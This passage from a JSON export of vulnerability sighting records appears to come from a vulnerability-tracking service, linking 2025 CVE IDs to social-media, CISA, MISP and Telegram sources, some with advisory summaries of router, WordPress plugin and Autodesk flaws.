"2025-04-18T20:06:45.502566Z"}, {"uuid": "7f437855-846c-4222-830e-32bfca83ae6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1697", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ln4hrfb7of2c", "content": "", "creation_timestamp": "2025-04-18T20:33:36.100449Z"}, {"uuid": "6c1d7c04-414b-4cba-8c41-c5a170d94e8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1688", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-140-05", "content": "", "creation_timestamp": "2025-05-20T10:00:00.000000Z"}, {"uuid": "94ceee0d-2d98-450c-a174-14bda63255fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1647", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpa7b7t3ke2h", "content": "", "creation_timestamp": "2025-05-15T19:02:30.315662Z"}, {"uuid": "b8d8e932-f97c-4a73-ac49-84b035e86859", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1683", "type": "seen", "source": "MISP/682bdba3-46b7-4a8f-b7be-c6bf4b4f9868", "content": "", "creation_timestamp": "2025-08-13T13:26:34.000000Z"}, {"uuid": "1c734765-a664-4692-a058-00c5f6f71229", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "MISP/682bdba3-46b7-4a8f-b7be-c6bf4b4f9868", "content": "", "creation_timestamp": "2025-08-13T13:26:34.000000Z"}, {"uuid": "8c4931f6-da4e-4f67-a08b-5b70e928eb7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1658", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m3dnrm73uo27", "content": "", "creation_timestamp": "2025-10-16T21:02:43.152166Z"}, {"uuid": "5d7e793a-ba1a-48ad-877e-95929ee0c59d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1696", "type": "seen", "source": "MISP/4937e86f-f5bd-4d09-8bda-88a7440077f3", "content": "", "creation_timestamp": "2025-08-18T13:31:23.000000Z"}, {"uuid": "2c44bd06-3110-42a3-9a76-401948f633b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1696", "type": "seen", "source": "MISP/4937e86f-f5bd-4d09-8bda-88a7440077f3", "content": "", "creation_timestamp": "2025-08-19T02:47:43.000000Z"}, {"uuid": "501b047b-45e0-4362-8b55-7afdd708b569", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1695", "type": "seen", "source": "MISP/e1f6260f-3311-441b-92ae-e04cd5eb5f72", "content": "", "creation_timestamp": "2025-08-19T13:26:46.000000Z"}, {"uuid": "4e95ad89-b519-47b5-bd18-b810ac3c3448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1690", "type": "seen", "source": "MISP/af1fbe07-e10c-40c4-844e-d4419bdf6f80", "content": "", "creation_timestamp": "2025-08-22T13:26:18.000000Z"}, {"uuid": "38ff8026-194f-4e86-98e4-c7ba9e62b4db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1686", "type": "seen", "source": "MISP/24306fae-b16b-4478-9297-d2973cdb583c", "content": "", "creation_timestamp": "2025-08-22T14:52:22.000000Z"}, {"uuid": "cc70193a-58be-4e37-a824-5f2515b56f49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1689", "type": "seen", "source": "MISP/24306fae-b16b-4478-9297-d2973cdb583c", "content": "", "creation_timestamp": "2025-08-22T14:52:22.000000Z"}, {"uuid": "9ca36c4b-9322-484d-9dba-87394b4b205a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1691", "type": "seen", "source": "MISP/24306fae-b16b-4478-9297-d2973cdb583c", "content": "", "creation_timestamp": "2025-08-22T14:52:22.000000Z"}, {"uuid": "a9d861c8-280e-4490-bbb5-e0d62056b996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1634", "type": "seen", "source": "MISP/24306fae-b16b-4478-9297-d2973cdb583c", "content": "", "creation_timestamp": "2025-08-22T14:52:23.000000Z"}, {"uuid": "e4ae3047-c093-4cdc-a6a3-942398c008b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1679", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115423850260835004", "content": "", "creation_timestamp": "2025-10-23T14:03:04.753690Z"}, {"uuid": "6c9f0bc3-446e-4ac1-a39e-f0e91621b0c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1680", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115423900148774818", "content": "", "creation_timestamp": "2025-10-23T14:15:45.721047Z"}, {"uuid": "146e6de5-efd5-47b9-8ee7-ae8481ccc449", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1695", "type": "seen", "source": "https://t.me/cvedetector/19443", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1695 - NGINX Unit Java Language Module Infinite Loop DoS\", \n  \"Content\": \"CVE ID : CVE-2025-1695 \nPublished : March 4, 2025, 1:15 a.m. | 1\u00a0hour, 22\u00a0minutes ago \nDescription : In NGINX Unit before version 1.34.2 with the Java Language Module in use, undisclosed requests can lead to an infinite loop and cause an increase in CPU resource utilization.  This vulnerability allows a remote attacker to cause a degradation that can lead to a limited denial-of-service (DoS). \u00a0There is no control plane exposure; this is a data plane issue only. \u00a0Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-04T04:07:36.000000Z"}, {"uuid": "61500940-0153-4bc0-9d0f-1119044b6308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1652", "type": "seen", "source": "https://t.me/cvedetector/20242", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1652 - Autodesk AutoCAD Out-of-Bounds Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1652 \nPublished : March 13, 2025, 5:15 p.m. | 43\u00a0minutes ago \nDescription : A maliciously crafted MODEL file, when parsed through Autodesk AutoCAD, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-13T19:48:20.000000Z"}, {"uuid": "4a47f1ec-5f1f-4db2-a06f-df6ae1c9f10f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1636", "type": "seen", "source": "https://t.me/cvedetector/20210", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1636 - Devolutions Remote Desktop Manager Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2025-1636 \nPublished : March 13, 2025, 1:15 p.m. | 40\u00a0minutes ago \nDescription : Exposure of sensitive information in My Personnal Credentials password history component in Devolutions Remote Desktop Manager 2024.3.29 and earlier on Windows allows an authenticated user to inadvertently leak the My Personnal Credentials in a shared vault via the clear history feature due to faulty business logic. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-13T15:37:02.000000Z"}, {"uuid": "276408b5-5975-4ce1-967b-3a4db51031b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1635", "type": "seen", "source": "https://t.me/cvedetector/20209", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1635 - Devolutions Remote Desktop Manager Sensitive Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2025-1635 \nPublished : March 13, 2025, 1:15 p.m. | 40\u00a0minutes ago \nDescription : Exposure of sensitive information in hub data source export feature in Devolutions Remote Desktop Manager 2024.3.29 and earlier on Windows allows a user exporting a hub data source to include his authenticated session in the export due to faulty business logic. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-13T15:37:01.000000Z"}, {"uuid": "f05ccc17-bc9b-4dcc-baea-ec1a110974ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1671", "type": "seen", "source": "Telegram/ZdAbPrE1qR5OqtMo40YAgUDuLYiM57iZL6EJlwwK-EUeEeKH", "content": "", "creation_timestamp": "2025-03-02T11:46:31.000000Z"}, {"uuid": "d92b775c-03e1-491e-96c5-2ab5c098b374", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1638", "type": "seen", "source": "Telegram/qjIgNQeGTScN_m0VyZq_r82aESVVehqNeqAStmxk6FmAK7WF", "content": "", "creation_timestamp": "2025-03-02T11:46:31.000000Z"}, {"uuid": "dcff1fae-797a-4927-acdd-f227d4aba08f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1661", "type": "seen", "source": "https://t.me/cvedetector/20034", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1661 - HUSKY \u2013 WooCommerce Products Filter Professional WordPress Local File Inclusion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1661 \nPublished : March 11, 2025, 4:15 a.m. | 1\u00a0hour, 37\u00a0minutes ago \nDescription : The HUSKY \u2013 Products Filter Professional for WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.3.6.5 via the 'template' parameter of the woof_text_search AJAX action. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-11T07:35:37.000000Z"}, {"uuid": "7de6bbdb-b129-40e0-9768-c746e85dd2e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1660", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13373", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1660\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force a Memory Corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process.\n\ud83d\udccf Published: 2025-04-01T12:29:20.944Z\n\ud83d\udccf Modified: 2025-04-25T03:55:20.328Z\n\ud83d\udd17 References:\n1. https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0002", "creation_timestamp": "2025-04-25T04:08:55.000000Z"}, {"uuid": "91a21075-4691-4e26-bf9b-5e39d3179502", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1659", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/13372", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-1659\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A maliciously crafted DWFX file, when parsed through Autodesk Navisworks, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.\n\ud83d\udccf Published: 2025-04-01T12:28:06.627Z\n\ud83d\udccf Modified: 2025-04-25T03:55:25.929Z\n\ud83d\udd17 References:\n1. https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0002", "creation_timestamp": "2025-04-25T04:08:54.000000Z"}, {"uuid": "e6421a05-3871-41df-a290-5bb0b05693e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1664", "type": "seen", "source": "https://t.me/cvedetector/19901", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1664 - WordPress Gutenberg Blocks, Patterns & Templates Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1664 \nPublished : March 8, 2025, 12:15 p.m. | 1\u00a0hour, 43\u00a0minutes ago \nDescription : The Essential Blocks \u2013 Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Parallax slider in all versions up to, and including, 5.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-08T15:11:18.000000Z"}, {"uuid": "507e5658-23c1-43b5-a3a4-e81ab3f08e65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1608", "type": "seen", "source": "https://t.me/cvedetector/18772", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1608 - LB-LINK AC1900 Router Router Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1608 \nPublished : Feb. 24, 2025, 1:15 a.m. | 1\u00a0hour, 26\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in LB-LINK AC1900 Router 1.0.2. Affected is the function websGetVar of the file /goform/set_manpwd. The manipulation of the argument routepwd\u00a0 leads to os command injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T03:44:42.000000Z"}, {"uuid": "31ef5c68-e8c7-433c-a404-259c87381131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1610", "type": "seen", "source": "https://t.me/cvedetector/18769", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1610 - LB-LINK AC1900 Router OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2025-1610 \nPublished : Feb. 24, 2025, 2:15 a.m. | 25\u00a0minutes ago \nDescription : A vulnerability was found in LB-LINK AC1900 Router 1.0.2 and classified as critical. Affected by this issue is the function websGetVar of the file /goform/set_blacklist. The manipulation of the argument mac/enable leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T03:44:40.000000Z"}, {"uuid": "4225caeb-a832-46d7-8525-253e87152905", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1609", "type": "seen", "source": "https://t.me/cvedetector/18768", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1609 - LB-LINK AC1900 Router Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1609 \nPublished : Feb. 24, 2025, 2:15 a.m. | 25\u00a0minutes ago \nDescription : A vulnerability has been found in LB-LINK AC1900 Router 1.0.2 and classified as critical. Affected by this vulnerability is the function websGetVar of the file /goform/set_cmd. The manipulation of the argument cmd leads to os command injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T03:44:39.000000Z"}, {"uuid": "fe54a7f4-cade-4d49-98a6-77a7ff966313", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1611", "type": "seen", "source": "https://t.me/cvedetector/18770", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1611 - ShopXO Template Handler Remote Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1611 \nPublished : Feb. 24, 2025, 2:15 a.m. | 25\u00a0minutes ago \nDescription : A vulnerability was found in ShopXO up to 6.4.0. It has been classified as problematic. This affects an unknown part of the file app/service/ThemeAdminService.php of the component Template Handler. The manipulation leads to injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T03:44:41.000000Z"}, {"uuid": "69e3a365-7193-4575-96ae-577332023210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1632", "type": "seen", "source": "https://t.me/cvedetector/18793", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1632 - \"Libarchive Local Null Pointer Dereference\"\", \n  \"Content\": \"CVE ID : CVE-2025-1632 \nPublished : Feb. 24, 2025, 2:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability was found in libarchive up to 3.7.7. It has been classified as problematic. This affects the function list of the file bsdunzip.c. The manipulation leads to null pointer dereference. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.3 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T16:17:14.000000Z"}, {"uuid": "ab954ed9-ad57-42bc-90c3-45f2a62c5d90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1618", "type": "seen", "source": "https://t.me/cvedetector/18784", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1618 - vTiger CRM Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1618 \nPublished : Feb. 24, 2025, 5:15 a.m. | 1\u00a0hour, 30\u00a0minutes ago \nDescription : A vulnerability has been found in vTiger CRM 6.4.0 and classified as problematic. This vulnerability affects unknown code of the file /modules/Mobile/index.php. The manipulation of the argument _operation leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T08:09:18.000000Z"}, {"uuid": "2720d3b3-2a81-43cf-aa5b-f8d5ac8099f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1629", "type": "seen", "source": "https://t.me/cvedetector/18783", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1629 - Excitel Broadband Private my Excitel App Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2025-1629 \nPublished : Feb. 24, 2025, 5:15 a.m. | 1\u00a0hour, 30\u00a0minutes ago \nDescription : A vulnerability was found in Excitel Broadband Private my Excitel App 3.13.0 on Android. It has been classified as problematic. Affected is an unknown function of the component One-Time Password Handler. The manipulation leads to improper restriction of excessive authentication attempts. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T07:55:32.000000Z"}, {"uuid": "a64ffc9a-f19f-46e7-8981-5b8d86f4c29e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1612", "type": "seen", "source": "https://t.me/cvedetector/18779", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1612 - Edimax BR-6288ACL Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1612 \nPublished : Feb. 24, 2025, 3:15 a.m. | 1\u00a0hour, 28\u00a0minutes ago \nDescription : A vulnerability was found in Edimax BR-6288ACL 1.30. It has been declared as problematic. This vulnerability affects unknown code of the file wireless5g_basic.asp. The manipulation of the argument SSID leads to cross site scripting. The attack can be initiated remotely. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T06:15:15.000000Z"}, {"uuid": "7ddff46e-7a44-49c3-bfa7-a9002a1b8745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1614", "type": "seen", "source": "https://t.me/cvedetector/18778", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1614 - FiberHome AN5506-01A ONU GPON RP2511 Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1614 \nPublished : Feb. 24, 2025, 3:15 a.m. | 1\u00a0hour, 28\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in FiberHome AN5506-01A ONU GPON RP2511. Affected is an unknown function of the file /goform/portForwardingCfg of the component Port Forwarding Submenu. The manipulation of the argument pf_Description leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T06:15:11.000000Z"}, {"uuid": "7665cb8a-ddff-4580-8d66-b8064bfbf1cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1613", "type": "seen", "source": "https://t.me/cvedetector/18777", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1613 - FiberHome AN5506-01A ONU GPON RP2511 URL Filtering Submenu Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-1613 \nPublished : Feb. 24, 2025, 3:15 a.m. | 1\u00a0hour, 28\u00a0minutes ago \nDescription : A vulnerability was found in FiberHome AN5506-01A ONU GPON RP2511. It has been rated as problematic. This issue affects some unknown processing of the file /goform/URL_filterCfg of the component URL Filtering Submenu. The manipulation of the argument url_IP leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T06:15:11.000000Z"}, {"uuid": "3a888368-e381-4584-9357-b92b78d0ecde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1615", "type": "seen", "source": "https://t.me/cvedetector/18776", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-1615 - FiberHome AN5506-01A ONU GPON RP2511 NAT Submenu Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2025-1615 \nPublished : Feb. 24, 2025, 4:15 a.m. | 28\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in FiberHome AN5506-01A ONU GPON RP2511. Affected by this vulnerability is an unknown functionality of the component NAT Submenu. The manipulation of the argument Description leads to cross site scripting. The attack can be launched remotely. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-24T06:15:10.000000Z"}, {"uuid": "d6437df2-a1d9-41ce-9920-b6b9a21bf154", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-1616", "type": "seen", "source": "https://t.me/cvedetector/18775", "content": "{\n  \"Source\": 